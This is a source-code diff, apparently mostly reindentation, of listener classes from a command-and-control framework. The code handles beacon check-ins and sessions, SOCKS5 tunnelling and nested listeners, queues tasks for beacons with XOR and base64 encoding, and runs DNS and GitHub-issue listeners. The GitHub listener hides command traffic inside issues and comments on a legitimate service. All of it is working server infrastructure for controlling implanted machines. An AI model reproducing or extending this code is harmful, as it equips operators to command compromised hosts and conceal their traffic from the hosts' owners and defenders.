// Here if a beacon is terminated, we need to remove the list of sessions associeted with it.
|
||||
if(c2Message.instruction()==EndCmd)
|
||||
{
|
||||
markSessionKilled(beaconHash);
|
||||
|
||||
// Handle instruction that have impact on this Listener
|
||||
// Here if a beacon is terminated, we need to remove the list of sessions associeted with it.
|
||||
if(c2Message.instruction()==EndCmd)
|
||||
{
|
||||
markSessionKilled(beaconHash);
|
||||
|
||||
std::size_t nbSession = getNumberOfSession();
|
||||
for(std::size_t kk=0; kk<nbSession; kk++)
|
||||
{
|
||||
@@ -545,11 +545,11 @@ bool Listener::handleMessages(const std::string& input, std::string& output)
|
||||
rmSessionListener(beaconHash, sessionListenerList[j].getListenerHash());
|
||||
}
|
||||
}
|
||||
}
|
||||
// Handle socks5 messages
|
||||
// Check if the listener is primary - meaning launched by the teamserver. Otherwise don't do this and just relay the task to the next listener
|
||||
else if(c2Message.instruction()==Socks5Cmd && m_isPrimary)
|
||||
{
|
||||
}
|
||||
// Handle socks5 messages
|
||||
// Check if the listener is primary - meaning launched by the teamserver. Otherwise don't do this and just relay the task to the next listener
|
||||
else if(c2Message.instruction()==Socks5Cmd && m_isPrimary)
|
||||
{
|
||||
bool isExist = isSocksSessionExist(beaconHash, listenerhash);
|
||||
if(isExist==false)
|
||||
{
|
||||
@@ -561,110 +561,110 @@ bool Listener::handleMessages(const std::string& input, std::string& output)
|
||||
#endif
|
||||
}
|
||||
|
||||
addSocksTaskResult(c2Message, beaconHash);
|
||||
}
|
||||
// Handle return instruction sent to beacon to start/stop listeners
|
||||
else if(c2Message.instruction()==ListenerCmd)
|
||||
{
|
||||
std::string cmd = c2Message.cmd();
|
||||
std::vector<std::string> splitedCmd;
|
||||
std::string delimiter = " ";
|
||||
splitList(cmd, delimiter, splitedCmd);
|
||||
addSocksTaskResult(c2Message, beaconHash);
|
||||
}
|
||||
// Handle return instruction sent to beacon to start/stop listeners
|
||||
else if(c2Message.instruction()==ListenerCmd)
|
||||
{
|
||||
std::string cmd = c2Message.cmd();
|
||||
std::vector<std::string> splitedCmd;
|
||||
std::string delimiter = " ";
|
||||
splitList(cmd, delimiter, splitedCmd);
|
||||
|
||||
if(splitedCmd[0]==StartCmd)
|
||||
{
|
||||
std::string listenerMetadata = c2Message.data();
|
||||
std::string listenerHash = c2Message.returnvalue();
|
||||
if(splitedCmd[0]==StartCmd)
|
||||
{
|
||||
std::string listenerMetadata = c2Message.data();
|
||||
std::string listenerHash = c2Message.returnvalue();
|
||||
|
||||
nlohmann::json parsed;
|
||||
try
|
||||
{
|
||||
parsed = nlohmann::json::parse(listenerMetadata);
|
||||
std::string type = parsed["1"];
|
||||
std::string param1 = parsed["2"];
|
||||
std::string param2 = parsed["3"];
|
||||
nlohmann::json parsed;
|
||||
try
|
||||
{
|
||||
parsed = nlohmann::json::parse(listenerMetadata);
|
||||
std::string type = parsed["1"];
|
||||
std::string param1 = parsed["2"];
|
||||
std::string param2 = parsed["3"];
|
||||
|
||||
addSessionListener(beaconHash, listenerHash, type, param1, param2);
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
}
|
||||
else if(splitedCmd[0]==StopCmd)
|
||||
{
|
||||
rmSessionListener(beaconHash, c2Message.returnvalue());
|
||||
}
|
||||
}
|
||||
// Handle proof of life of listeners
|
||||
else if(c2Message.instruction()==ListenerPollCmd)
|
||||
{
|
||||
std::string listenerMetadata = c2Message.data();
|
||||
std::string listenerHash = c2Message.returnvalue();
|
||||
addSessionListener(beaconHash, listenerHash, type, param1, param2);
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
}
|
||||
else if(splitedCmd[0]==StopCmd)
|
||||
{
|
||||
rmSessionListener(beaconHash, c2Message.returnvalue());
|
||||
}
|
||||
}
|
||||
// Handle proof of life of listeners
|
||||
else if(c2Message.instruction()==ListenerPollCmd)
|
||||
{
|
||||
std::string listenerMetadata = c2Message.data();
|
||||
std::string listenerHash = c2Message.returnvalue();
|
||||
|
||||
nlohmann::json parsed;
|
||||
try
|
||||
{
|
||||
parsed = nlohmann::json::parse(listenerMetadata);
|
||||
std::string type = parsed["1"];
|
||||
std::string param1 = parsed["2"];
|
||||
std::string param2 = parsed["3"];
|
||||
nlohmann::json parsed;
|
||||
try
|
||||
{
|
||||
parsed = nlohmann::json::parse(listenerMetadata);
|
||||
std::string type = parsed["1"];
|
||||
std::string param1 = parsed["2"];
|
||||
std::string param2 = parsed["3"];
|
||||
|
||||
addSessionListener(beaconHash, listenerHash, type, param1, param2);
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
addSessionListener(beaconHash, listenerHash, type, param1, param2);
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
//
|
||||
// 2) Handle commands to send to Beacons
|
||||
//
|
||||
// For every beacons contacting the listener, check if their are tasks to be sent and create a message to send it
|
||||
bool isTaskToSend=false;
|
||||
MultiBundleC2Message multiBundleC2MessageRet;
|
||||
for (int k = 0; k < multiBundleC2Message.bundlec2messages_size(); k++)
|
||||
{
|
||||
BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k);
|
||||
//
|
||||
// 2) Handle commands to send to Beacons
|
||||
//
|
||||
// For every beacons contacting the listener, check if their are tasks to be sent and create a message to send it
|
||||
bool isTaskToSend=false;
|
||||
MultiBundleC2Message multiBundleC2MessageRet;
|
||||
for (int k = 0; k < multiBundleC2Message.bundlec2messages_size(); k++)
|
||||
{
|
||||
BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k);
|
||||
|
||||
// Sessions are unique and created from the pair beaconHash / listenerHash
|
||||
// If listenerHash is already filled it means that the session was already handled by other listener befor this one
|
||||
std::string beaconHash = bundleC2Message->beaconhash();
|
||||
if(beaconHash.size()!=SizeBeaconHash)
|
||||
continue;
|
||||
|
||||
// Look for tasks in the queue for the this beacon
|
||||
C2Message c2Message = getTask(beaconHash);
|
||||
if(!c2Message.instruction().empty())
|
||||
{
|
||||
isTaskToSend=true;
|
||||
BundleC2Message *bundleC2Message = multiBundleC2MessageRet.add_bundlec2messages();
|
||||
bundleC2Message->set_beaconhash(beaconHash);
|
||||
// Sessions are unique and created from the pair beaconHash / listenerHash
|
||||
// If listenerHash is already filled it means that the session was already handled by other listener befor this one
|
||||
std::string beaconHash = bundleC2Message->beaconhash();
|
||||
if(beaconHash.size()!=SizeBeaconHash)
|
||||
continue;
|
||||
|
||||
// Look for tasks in the queue for the this beacon
|
||||
C2Message c2Message = getTask(beaconHash);
|
||||
if(!c2Message.instruction().empty())
|
||||
{
|
||||
isTaskToSend=true;
|
||||
BundleC2Message *bundleC2Message = multiBundleC2MessageRet.add_bundlec2messages();
|
||||
bundleC2Message->set_beaconhash(beaconHash);
|
||||
|
||||
|
||||
while(!c2Message.instruction().empty())
|
||||
{
|
||||
C2Message *addedC2MessageRet = bundleC2Message->add_c2messages();
|
||||
addedC2MessageRet->CopyFrom(c2Message);
|
||||
c2Message = getTask(beaconHash);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
while(!c2Message.instruction().empty())
|
||||
{
|
||||
C2Message *addedC2MessageRet = bundleC2Message->add_c2messages();
|
||||
addedC2MessageRet->CopyFrom(c2Message);
|
||||
c2Message = getTask(beaconHash);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
data="";
|
||||
if(isTaskToSend)
|
||||
multiBundleC2MessageRet.SerializeToString(&data);
|
||||
data="";
|
||||
if(isTaskToSend)
|
||||
multiBundleC2MessageRet.SerializeToString(&data);
|
||||
|
||||
if (data.empty())
|
||||
data = "{}";
|
||||
if (data.empty())
|
||||
data = "{}";
|
||||
|
||||
XOR(data, m_key);
|
||||
output = base64_encode(data);
|
||||
XOR(data, m_key);
|
||||
output = base64_encode(data);
|
||||
|
||||
return isTaskToSend;
|
||||
return isTaskToSend;
|
||||
}
|
||||
+28
-28
@@ -21,8 +21,8 @@ class Listener
|
||||
{
|
||||
|
||||
public:
|
||||
Listener(const std::string& param1, const std::string& param2, const std::string& type);
|
||||
virtual ~Listener(){};
|
||||
Listener(const std::string& param1, const std::string& param2, const std::string& type);
|
||||
virtual ~Listener(){};
|
||||
|
||||
const std::string & getParam1() const;
|
||||
const std::string & getParam2() const;
|
||||
@@ -34,53 +34,53 @@ public:
|
||||
}
|
||||
std::size_t getNumberOfSession() const;
|
||||
|
||||
// Session
|
||||
std::shared_ptr<Session> getSessionPtr(int idxSession);
|
||||
// Session
|
||||
std::shared_ptr<Session> getSessionPtr(int idxSession);
|
||||
std::shared_ptr<Session> getSessionPtr(const std::string& beaconHash, const std::string& listenerHash);
|
||||
bool isSessionExist(const std::string& beaconHash, const std::string& listenerHash);
|
||||
bool updateSessionProofOfLife(const std::string& beaconHash, std::string& lastProofOfLife);
|
||||
bool markSessionKilled(const std::string& beaconhash);
|
||||
|
||||
// Session Listener
|
||||
bool addSessionListener(const std::string& beaconHash, const std::string& listenerHash, const std::string& type, const std::string& param1, const std::string& param2);
|
||||
bool rmSessionListener(const std::string& beaconHash, const std::string& listenerHash);
|
||||
std::vector<SessionListener> getSessionListenerInfos();
|
||||
// Session Listener
|
||||
bool addSessionListener(const std::string& beaconHash, const std::string& listenerHash, const std::string& type, const std::string& param1, const std::string& param2);
|
||||
bool rmSessionListener(const std::string& beaconHash, const std::string& listenerHash);
|
||||
std::vector<SessionListener> getSessionListenerInfos();
|
||||
|
||||
// Task & Task Result
|
||||
void queueTask(const std::string& beaconHash, const C2Message& c2Message);
|
||||
bool addTask(const C2Message& task, const std::string& beaconHash);
|
||||
// Task & Task Result
|
||||
void queueTask(const std::string& beaconHash, const C2Message& c2Message);
|
||||
bool addTask(const C2Message& task, const std::string& beaconHash);
|
||||
C2Message getTask(const std::string& beaconHash);
|
||||
bool addTaskResult(const C2Message& taskResult, const std::string& beaconHash);
|
||||
C2Message getTaskResult(const std::string& beaconHash);
|
||||
|
||||
// SocksSession
|
||||
// SocksSession
|
||||
bool isSocksSessionExist(const std::string& beaconHash, const std::string& listenerHash);
|
||||
bool addSocksTaskResult(const C2Message& taskResult, const std::string& beaconHash);
|
||||
C2Message getSocksTaskResult(const std::string& beaconHash);
|
||||
C2Message getSocksTaskResult(const std::string& beaconHash);
|
||||
|
||||
// set the listener as primary (meaning launch from the teamserver)
|
||||
void setIsPrimary()
|
||||
{
|
||||
m_isPrimary=true;
|
||||
}
|
||||
// set the listener as primary (meaning launch from the teamserver)
|
||||
void setIsPrimary()
|
||||
{
|
||||
m_isPrimary=true;
|
||||
}
|
||||
|
||||
protected:
|
||||
bool execInstruction(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
bool handleMessages(const std::string& input, std::string& output);
|
||||
|
||||
std::string m_key;
|
||||
std::string m_param1;
|
||||
std::string m_param2;
|
||||
std::string m_type;
|
||||
bool m_isPrimary;
|
||||
std::string m_param1;
|
||||
std::string m_param2;
|
||||
std::string m_type;
|
||||
bool m_isPrimary;
|
||||
|
||||
std::string m_listenerHash;
|
||||
std::string m_hostname;
|
||||
std::string m_listenerHash;
|
||||
std::string m_hostname;
|
||||
|
||||
std::string m_metadata;
|
||||
std::string m_metadata;
|
||||
|
||||
std::vector<std::shared_ptr<Session>> m_sessions;
|
||||
std::vector<std::shared_ptr<SocksSession>> m_socksSessions;
|
||||
std::vector<std::shared_ptr<Session>> m_sessions;
|
||||
std::vector<std::shared_ptr<SocksSession>> m_socksSessions;
|
||||
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
std::shared_ptr<spdlog::logger> m_logger;
|
||||
@@ -90,5 +90,5 @@ protected:
|
||||
#endif
|
||||
|
||||
private:
|
||||
std::mutex m_mutex;
|
||||
std::mutex m_mutex;
|
||||
};
|
||||
|
||||
+12
-12
@@ -14,11 +14,11 @@ ListenerDns::ListenerDns(const std::string& domainToResolve, int port, const nlo
|
||||
|
||||
m_listenerHash = random_string(SizeListenerHash);
|
||||
|
||||
json metadata;
|
||||
json metadata;
|
||||
metadata["1"] = ListenerDnsType;
|
||||
metadata["2"] = domainToResolve;
|
||||
metadata["3"] = std::to_string(port);
|
||||
m_metadata = metadata.dump();
|
||||
m_metadata = metadata.dump();
|
||||
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
// Logger
|
||||
@@ -69,12 +69,12 @@ ListenerDns::~ListenerDns()
|
||||
|
||||
void ListenerDns::launchDnsListener()
|
||||
{
|
||||
try
|
||||
try
|
||||
{
|
||||
while(1)
|
||||
{
|
||||
if(m_stopThread)
|
||||
return;
|
||||
while(1)
|
||||
{
|
||||
if(m_stopThread)
|
||||
return;
|
||||
|
||||
auto [clientId, input] = m_serverDns->getAvailableMessage();
|
||||
|
||||
@@ -96,15 +96,15 @@ void ListenerDns::launchDnsListener()
|
||||
if(!output.empty())
|
||||
m_serverDns->setMessageToSend(output, clientId);
|
||||
}
|
||||
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(1000));
|
||||
}
|
||||
}
|
||||
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(1000));
|
||||
}
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
return;
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
|
||||
namespace dns
|
||||
{
|
||||
class Server;
|
||||
class Server;
|
||||
}
|
||||
|
||||
class ListenerDns : public Listener
|
||||
@@ -13,13 +13,13 @@ class ListenerDns : public Listener
|
||||
|
||||
public:
|
||||
ListenerDns(const std::string& domainToResolve, int port, const nlohmann::json& config = nlohmann::json::object());
|
||||
~ListenerDns();
|
||||
~ListenerDns();
|
||||
|
||||
private:
|
||||
void launchDnsListener();
|
||||
void launchDnsListener();
|
||||
|
||||
dns::Server* m_serverDns;
|
||||
dns::Server* m_serverDns;
|
||||
|
||||
bool m_stopThread;
|
||||
std::unique_ptr<std::thread> m_dnsListener;
|
||||
bool m_stopThread;
|
||||
std::unique_ptr<std::thread> m_dnsListener;
|
||||
};
|
||||
|
||||
+178
-178
@@ -10,16 +10,16 @@ ListenerGithub::ListenerGithub(const std::string& project, const std::string& to
|
||||
, m_project(project)
|
||||
, m_token(token)
|
||||
{
|
||||
m_listenerHash = random_string(SizeListenerHash);
|
||||
m_listenerHash = random_string(SizeListenerHash);
|
||||
|
||||
json metadata;
|
||||
json metadata;
|
||||
metadata["1"] = ListenerGithubType;
|
||||
metadata["2"] = project;
|
||||
metadata["3"] = token.substr(0,10);
|
||||
m_metadata = metadata.dump();
|
||||
m_metadata = metadata.dump();
|
||||
|
||||
m_isRunning=true;
|
||||
this->m_githubFetcher = std::make_unique<std::thread>(&ListenerGithub::checkGithubIssues, this);
|
||||
m_isRunning=true;
|
||||
this->m_githubFetcher = std::make_unique<std::thread>(&ListenerGithub::checkGithubIssues, this);
|
||||
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
// Logger
|
||||
@@ -44,8 +44,8 @@ ListenerGithub::ListenerGithub(const std::string& project, const std::string& to
|
||||
|
||||
ListenerGithub::~ListenerGithub()
|
||||
{
|
||||
m_isRunning=false;
|
||||
m_githubFetcher->join();
|
||||
m_isRunning=false;
|
||||
m_githubFetcher->join();
|
||||
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
if(m_logger)
|
||||
@@ -56,240 +56,240 @@ ListenerGithub::~ListenerGithub()
|
||||
|
||||
void ListenerGithub::checkGithubIssues()
|
||||
{
|
||||
while(m_isRunning)
|
||||
{
|
||||
std::string url = "https://api.github.com";
|
||||
httplib::Client cli(url);
|
||||
while(m_isRunning)
|
||||
{
|
||||
std::string url = "https://api.github.com";
|
||||
httplib::Client cli(url);
|
||||
|
||||
std::string token = "token ";
|
||||
token+=m_token;
|
||||
std::string token = "token ";
|
||||
token+=m_token;
|
||||
|
||||
httplib::Headers headers = {
|
||||
{ "Accept", "application/vnd.github+json" },
|
||||
{ "Authorization", token },
|
||||
{ "Cookie", "logged_in=no" }
|
||||
};
|
||||
httplib::Headers headers = {
|
||||
{ "Accept", "application/vnd.github+json" },
|
||||
{ "Authorization", token },
|
||||
{ "Cookie", "logged_in=no" }
|
||||
};
|
||||
|
||||
// get list of issues
|
||||
std::string endpoint = "/repos/";
|
||||
endpoint += m_project;
|
||||
endpoint += "/issues";
|
||||
auto response = cli.Get(endpoint, headers);
|
||||
// get list of issues
|
||||
std::string endpoint = "/repos/";
|
||||
endpoint += m_project;
|
||||
endpoint += "/issues";
|
||||
auto response = cli.Get(endpoint, headers);
|
||||
|
||||
auto err = response.error();
|
||||
if(err!=httplib::Error::Success)
|
||||
{
|
||||
auto err = response.error();
|
||||
if(err!=httplib::Error::Success)
|
||||
{
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
m_logger->error("Http client Get {0}", httplib::to_string(err));
|
||||
m_logger->error("Http client Get {0}", httplib::to_string(err));
|
||||
#endif
|
||||
continue;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if(response->status!=200 && response->status!=201)
|
||||
{
|
||||
if(response->status!=200 && response->status!=201)
|
||||
{
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
m_logger->error("Error with the ListenerGithub: {0}", response->body);
|
||||
m_logger->error("Error with the ListenerGithub: {0}", response->body);
|
||||
#endif
|
||||
continue;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if(!response->body.empty())
|
||||
{
|
||||
nlohmann::json my_json = json::parse(response->body);
|
||||
if(!response->body.empty())
|
||||
{
|
||||
nlohmann::json my_json = json::parse(response->body);
|
||||
|
||||
// for every issue in the list
|
||||
for (nlohmann::json::iterator it = my_json.begin(); it != my_json.end(); ++it)
|
||||
{
|
||||
std::string title = (*it)["title"];
|
||||
std::string body = (*it)["body"];
|
||||
int number = (*it)["number"];
|
||||
int nbComments = (*it)["comments"];
|
||||
// for every issue in the list
|
||||
for (nlohmann::json::iterator it = my_json.begin(); it != my_json.end(); ++it)
|
||||
{
|
||||
std::string title = (*it)["title"];
|
||||
std::string body = (*it)["body"];
|
||||
int number = (*it)["number"];
|
||||
int nbComments = (*it)["comments"];
|
||||
|
||||
if(nbComments!=0)
|
||||
{
|
||||
if(nbComments!=0)
|
||||
{
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
m_logger->debug("Issue with comments: {0}", std::to_string(number));
|
||||
m_logger->debug("Issue with comments: {0}", std::to_string(number));
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
if(title.rfind("ResponseC2: ", 0) == 0)
|
||||
{
|
||||
std::string marker = "ResponseC2: ";
|
||||
std::size_t pos = title.find(marker);
|
||||
if (pos == std::string::npos)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
pos += marker.length();
|
||||
std::string beaconHash = title.substr(pos);
|
||||
if(title.rfind("ResponseC2: ", 0) == 0)
|
||||
{
|
||||
std::string marker = "ResponseC2: ";
|
||||
std::size_t pos = title.find(marker);
|
||||
if (pos == std::string::npos)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
pos += marker.length();
|
||||
std::string beaconHash = title.substr(pos);
|
||||
|
||||
std::string res;
|
||||
HandleCheckIn(body, res);
|
||||
std::string res;
|
||||
HandleCheckIn(body, res);
|
||||
|
||||
// generate the response for response who got content
|
||||
if(res.size()>4)
|
||||
{
|
||||
std::string reponseTitle = "RequestC2: ";
|
||||
reponseTitle+=beaconHash;
|
||||
// generate the response for response who got content
|
||||
if(res.size()>4)
|
||||
{
|
||||
std::string reponseTitle = "RequestC2: ";
|
||||
reponseTitle+=beaconHash;
|
||||
|
||||
// body too long need to split it
|
||||
int maxChunkSize = 65000;
|
||||
if(res.size()>=maxChunkSize)
|
||||
{
|
||||
std::vector<std::string> chunks;
|
||||
for (std::size_t i = 0; i < res.size(); i += maxChunkSize)
|
||||
{
|
||||
chunks.push_back(res.substr(i, maxChunkSize));
|
||||
}
|
||||
// body too long need to split it
|
||||
int maxChunkSize = 65000;
|
||||
if(res.size()>=maxChunkSize)
|
||||
{
|
||||
std::vector<std::string> chunks;
|
||||
for (std::size_t i = 0; i < res.size(); i += maxChunkSize)
|
||||
{
|
||||
chunks.push_back(res.substr(i, maxChunkSize));
|
||||
}
|
||||
|
||||
nlohmann::json responseData = {
|
||||
{"title", reponseTitle},
|
||||
{"body", chunks[0]},
|
||||
};
|
||||
nlohmann::json responseData = {
|
||||
{"title", reponseTitle},
|
||||
{"body", chunks[0]},
|
||||
};
|
||||
|
||||
std::string data = responseData.dump();
|
||||
std::string data = responseData.dump();
|
||||
|
||||
std::string contentType = "application/json";
|
||||
auto response = cli.Post(endpoint, headers, data, contentType);
|
||||
std::string contentType = "application/json";
|
||||
auto response = cli.Post(endpoint, headers, data, contentType);
|
||||
|
||||
err = response.error();
|
||||
if(err!=httplib::Error::Success)
|
||||
{
|
||||
err = response.error();
|
||||
if(err!=httplib::Error::Success)
|
||||
{
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
m_logger->error("Http client Post Issue {0}", httplib::to_string(err));
|
||||
m_logger->error("Http client Post Issue {0}", httplib::to_string(err));
|
||||
#endif
|
||||
continue;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
m_logger->trace("Issue created {0}", response->status);
|
||||
m_logger->trace("Issue created {0}", response->status);
|
||||
#endif
|
||||
|
||||
if(response->status!=200 && response->status!=201)
|
||||
{
|
||||
|
||||
if(response->status!=200 && response->status!=201)
|
||||
{
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
m_logger->error("Error with the ListenerGithub: {0}", response->body);
|
||||
m_logger->error("Error with the ListenerGithub: {0}", response->body);
|
||||
#endif
|
||||
continue;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
nlohmann::json my_json = nlohmann::json::parse(response->body);
|
||||
int number = my_json["number"];
|
||||
|
||||
for (std::size_t i = 1; i < chunks.size(); i++)
|
||||
{
|
||||
nlohmann::json responseData = {
|
||||
{"body", chunks[i]},
|
||||
};
|
||||
nlohmann::json my_json = nlohmann::json::parse(response->body);
|
||||
int number = my_json["number"];
|
||||
|
||||
for (std::size_t i = 1; i < chunks.size(); i++)
|
||||
{
|
||||
nlohmann::json responseData = {
|
||||
{"body", chunks[i]},
|
||||
};
|
||||
|
||||
std::string data = responseData.dump();
|
||||
std::string data = responseData.dump();
|
||||
|
||||
std::string contentType = "application/json";
|
||||
std::string issueEndpoint = "/repos/";
|
||||
issueEndpoint += m_project;
|
||||
issueEndpoint += "/issues/";
|
||||
issueEndpoint += std::to_string(number);
|
||||
issueEndpoint += "/comments";
|
||||
auto response = cli.Post(issueEndpoint, headers, data, contentType);
|
||||
std::string contentType = "application/json";
|
||||
std::string issueEndpoint = "/repos/";
|
||||
issueEndpoint += m_project;
|
||||
issueEndpoint += "/issues/";
|
||||
issueEndpoint += std::to_string(number);
|
||||
issueEndpoint += "/comments";
|
||||
auto response = cli.Post(issueEndpoint, headers, data, contentType);
|
||||
|
||||
err = response.error();
|
||||
if(err!=httplib::Error::Success)
|
||||
{
|
||||
err = response.error();
|
||||
if(err!=httplib::Error::Success)
|
||||
{
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
m_logger->error("Http client Post Comments {0}", httplib::to_string(err));
|
||||
m_logger->error("Http client Post Comments {0}", httplib::to_string(err));
|
||||
#endif
|
||||
continue;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if(response->status!=200 && response->status!=201)
|
||||
{
|
||||
if(response->status!=200 && response->status!=201)
|
||||
{
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
m_logger->error("Error with the ListenerGithub: {0}", response->body);
|
||||
m_logger->error("Error with the ListenerGithub: {0}", response->body);
|
||||
#endif
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
nlohmann::json responseData = {
|
||||
{"title", reponseTitle},
|
||||
{"body", res},
|
||||
};
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
nlohmann::json responseData = {
|
||||
{"title", reponseTitle},
|
||||
{"body", res},
|
||||
};
|
||||
|
||||
std::string data = responseData.dump();
|
||||
std::string data = responseData.dump();
|
||||
|
||||
std::string contentType = "application/json";
|
||||
auto response = cli.Post(endpoint, headers, data, contentType);
|
||||
std::string contentType = "application/json";
|
||||
auto response = cli.Post(endpoint, headers, data, contentType);
|
||||
|
||||
err = response.error();
|
||||
if(err!=httplib::Error::Success)
|
||||
{
|
||||
err = response.error();
|
||||
if(err!=httplib::Error::Success)
|
||||
{
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
m_logger->error("Http client Post {0}", httplib::to_string(err));
|
||||
m_logger->error("Http client Post {0}", httplib::to_string(err));
|
||||
#endif
|
||||
continue;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if(response->status!=200 && response->status!=201)
|
||||
{
|
||||
if(response->status!=200 && response->status!=201)
|
||||
{
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
m_logger->error("Error with the ListenerGithub: {0}", response->body);
|
||||
m_logger->error("Error with the ListenerGithub: {0}", response->body);
|
||||
#endif
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
std::string data = "{\"state\":\"closed\"}";
|
||||
std::string contentType = "application/json";
|
||||
std::string data = "{\"state\":\"closed\"}";
|
||||
std::string contentType = "application/json";
|
||||
|
||||
// close the issue
|
||||
std::string issueEndpoint = "/repos/";
|
||||
issueEndpoint += m_project;
|
||||
issueEndpoint += "/issues/";
|
||||
issueEndpoint += std::to_string(number);
|
||||
auto response = cli.Post(issueEndpoint, headers, data, contentType);
|
||||
// close the issue
|
||||
std::string issueEndpoint = "/repos/";
|
||||
issueEndpoint += m_project;
|
||||
issueEndpoint += "/issues/";
|
||||
issueEndpoint += std::to_string(number);
|
||||
auto response = cli.Post(issueEndpoint, headers, data, contentType);
|
||||
|
||||
err = response.error();
|
||||
if(err!=httplib::Error::Success)
|
||||
{
|
||||
err = response.error();
|
||||
if(err!=httplib::Error::Success)
|
||||
{
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
m_logger->error("Http client Post close {0}", httplib::to_string(err));
|
||||
m_logger->error("Http client Post close {0}", httplib::to_string(err));
|
||||
#endif
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(1000));
|
||||
}
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(1000));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int ListenerGithub::HandleCheckIn(const std::string& req, std::string& output)
|
||||
{
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
m_logger->trace("HandleCheckIn");
|
||||
m_logger->trace("HandleCheckIn");
|
||||
#endif
|
||||
|
||||
try
|
||||
{
|
||||
bool ret = handleMessages(req, output);
|
||||
}
|
||||
catch (const std::exception& ex)
|
||||
{
|
||||
try
|
||||
{
|
||||
bool ret = handleMessages(req, output);
|
||||
}
|
||||
catch (const std::exception& ex)
|
||||
{
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
m_logger->error("HandleCheckIn catch exception");
|
||||
m_logger->error("HandleCheckIn catch exception");
|
||||
#endif
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
m_logger->error("HandleCheckIn catch...");
|
||||
m_logger->error("HandleCheckIn catch...");
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -11,15 +11,15 @@ class ListenerGithub : public Listener
|
||||
|
||||
public:
|
||||
ListenerGithub(const std::string& project, const std::string& token, const nlohmann::json& config = nlohmann::json::object());
|
||||
~ListenerGithub();
|
||||
~ListenerGithub();
|
||||
|
||||
private:
|
||||
void checkGithubIssues();
|
||||
int HandleCheckIn(const std::string& req, std::string& res);
|
||||
void checkGithubIssues();
|
||||
int HandleCheckIn(const std::string& req, std::string& res);
|
||||
|
||||
std::string m_project;
|
||||
std::string m_token;
|
||||
std::string m_project;
|
||||
std::string m_token;
|
||||
|
||||
bool m_isRunning;
|
||||
std::unique_ptr<std::thread> m_githubFetcher;
|
||||
bool m_isRunning;
|
||||
std::unique_ptr<std::thread> m_githubFetcher;
|
||||
};
|
||||
|
||||
+75
-75
@@ -127,7 +127,7 @@ ListenerHttp::~ListenerHttp()
|
||||
|
||||
void ListenerHttp::launchHttpServ()
|
||||
{
|
||||
httplib::Response res;
|
||||
httplib::Response res;
|
||||
|
||||
json uri = json::array();
|
||||
std::string uriFileDownload = m_listenerConfig.value("uriFileDownload", std::string{});
|
||||
@@ -159,7 +159,7 @@ void ListenerHttp::launchHttpServ()
|
||||
}
|
||||
#endif
|
||||
|
||||
// Filter to match the URI of the config file or the file download URI
|
||||
// Filter to match the URI of the config file or the file download URI
|
||||
m_svr->set_post_routing_handler([&, uriFileDownload](const auto& req, auto& res)
|
||||
{
|
||||
bool isUri = false;
|
||||
@@ -239,16 +239,16 @@ void ListenerHttp::launchHttpServ()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
// m_logger->info("Get connection: {0}", req.path);
|
||||
#endif
|
||||
if (req.has_header("Authorization"))
|
||||
{
|
||||
// jwt should contained Bearer b64data.b6data.beaconData
|
||||
std::string jwt = req.get_header_value("Authorization");
|
||||
if (req.has_header("Authorization"))
|
||||
{
|
||||
